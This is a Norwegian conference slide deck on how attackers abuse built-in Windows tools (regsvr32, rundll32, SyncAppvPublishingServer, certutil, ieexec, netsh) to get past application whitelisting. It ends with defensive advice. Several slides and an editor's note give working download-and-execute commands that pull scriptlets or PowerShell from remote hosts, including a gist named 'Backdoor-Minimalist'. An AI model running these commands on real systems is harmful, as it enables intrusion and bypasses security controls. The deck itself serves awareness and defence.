Hacke windows med windows - avanserte angrep

O
Hacke Windows med Windows – Avanserte angrep
MTUG 10.09.2017
WHOAMI
• Geek/Pentester/Security researcher/IT-Pro/MVP/Speaker
• Jobbet med IT siden 2000
• Første MCP når jeg var 16
• Work @ Advania – Chief Technical Architect
• Gift/barn/hund
• Blog: http://oddvar.moe
• Twitter: @oddvarmoe
Angrep – Hvordan skaffe seg første tilgang
• Tradisjonelt angrep
• Sende mail
• Link
• Vedlegg
• Phishing side
• Ekstern server
• OWA
• ADFS
• Skype
• 3.parts
Hacke windows med windows - avanserte angrep
Hacke windows med windows - avanserte angrep
Trenger du flere eksempler?
• https://onedrive.live.com/?authkey=%21ADev0bfQMNxv504&cid=C9
6A3EEDCE316E4C&id=C96A3EEDCE316E4C%21114&parId=C96A3EED
CE316E4C%21109&o=OneUp
Call to Action!
Call to Action!
• Innstilling i Office (2013/2016)
Hva er bak enable content?
• Her kommer det interessante
• Hva gjør de?
• Vi skal se på en del eksempler
• Real attacks
• «Future attacks»
Hva mener du med «Hacke Windows med
Windows»
• Angripere har skiftet fokus
• Benytter Windows funksjonalitet for å utføre angrep
• Misbruker godkjente verktøy
• Ikke lengere malware.exe
REGSVR32.exe
• regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll
• Proxy aware
REGSVR32.exe
• Kalkulator:
• regsvr32 /s /n /u
/i:https://gist.githubusercontent.com/api0cradle/1409e8f00ae51dd6
b736b30947a3d0c2/raw/ef22366bfb62a2ddea8c5e321d3ce2f4c95d2
a66/Backdoor-Minimalist.sct scrobj.dll
rundll32.exe
• rundll32.exe javascript:"..mshtml,RunHTMLApplication
";alert('User%20Group%20Agder');
• (Blir nå tatt av Windows Defender)
• Detaljert forklaring:
https://stackoverflow.com/questions/25131484/rundll32-exe-
javascript
Rundll32.exe
• Kalkulator:
• rundll32.exe javascript:"..mshtml.dll,RunHTMLApplication
";eval("w=new%20ActiveXObject("WScript.Shell");w.run("calc");w
indow.close()");
SyncAppvPublishingServer.exe
• SyncAppvPublishingServer.exe "n;((New-Object
Net.WebClient).DownloadString('http://some.url/script.ps1') | IEX
• Kommando injection feil
SyncAppvPublishingServer.exe
• Kalkulator:
• SyncAppvPublishingServer.exe "n;(calc)
• cmd.exe /c cscript.exe SyncAppVPublishingServer.vbs ".; Start-Process
rundll32.exe 'shell32.dll,ShellExec_RunDLL calc.exe'"
• Bevis på Powershell:
• SyncAppvPublishingServer.exe "n;(get-service | out-gridview)
Certutil.exe
• certutil.exe -urlcache -split -f http://www.7-zip.org/a/7z1701.exe
7zip.exe
• certutil.exe /decode base64kodetfil.txt x64.dll
• certutil -Class scrobj.dll
Noen andre uten demo
• msbuild.exe pshell.xml
• regsvcs.exe /U regsvcs.dll regsvcs.exe regsvcs.dll
• regasm.exe /U regsvcs.dll regasm.exe regsvcs.dll
• InstallUtil.exe /logfile= /LogToConsole=false /U MYDLL.dll
• msxsl.exe customers.xml script.xsl
Min research
• BGINFO.exe
bginfo.exe 10.10.10.10webdavbginfo.bgi /popup /nolicprompt
Video: https://youtu.be/OiKhgSxWKUM
• CMSTP.exe
UAC Bypass og DLL Loading
https://msitpros.com/wp-
content/uploads/2017/08/WebDavDLLLoadBlog.gif
Min research
• CVE-2017-8625
• hh.exe /? (Hva gjør denne tror du?)
• Device Guard bypass
• https://msitpros.com/wp-content/uploads/2017/08/CVE-2017-
8625.gif
Kode i kode
EXE filer som kan starte andre EXE filer
• Eksempler:
• scriptrunner.exe -appvscript calc.exe
• forfiles /p c:windowssystem32 /m notepad.exe /c calc.exe
• ieexec.exe http://x.x.x.x:8080/bypass.exe (.NET exe)
• bash.exe -c calc.exe (Linux i Windows)
Proxy
• netsh interface portproxy add v4tov4 listenport=9999
listenaddress=0.0.0.0 connectport=445
connectaddress=192.168.1.112
Hacke windows med windows - avanserte angrep
Hva burde du gjøre?
• Application whitelisting
• Device Guard
• AppLocker
• Husk AppLocker bypass listen min:
• https://github.com/api0cradle/UltimateAppLockerByPassList
• Implementer deteksjon (Splunk / WDATP / ATA)
SELV OM DU KAN RANE EN BANK
MED PENN OG PAPIR,
BETYR DET IKKE AT DU IKKE SKAL
HA ET HVELV!
SHAMELESS PLUG!
Takk for meg!
1 of 28

More Related Content

Hacke windows med windows - avanserte angrep

Editor's Notes

  1. regsvr32 /s /n /u /i:https://gist.githubusercontent.com/api0cradle/1409e8f00ae51dd6b736b30947a3d0c2/raw/ef22366bfb62a2ddea8c5e321d3ce2f4c95d2a66/Backdoor-Minimalist.sct scrobj.dll
  2. D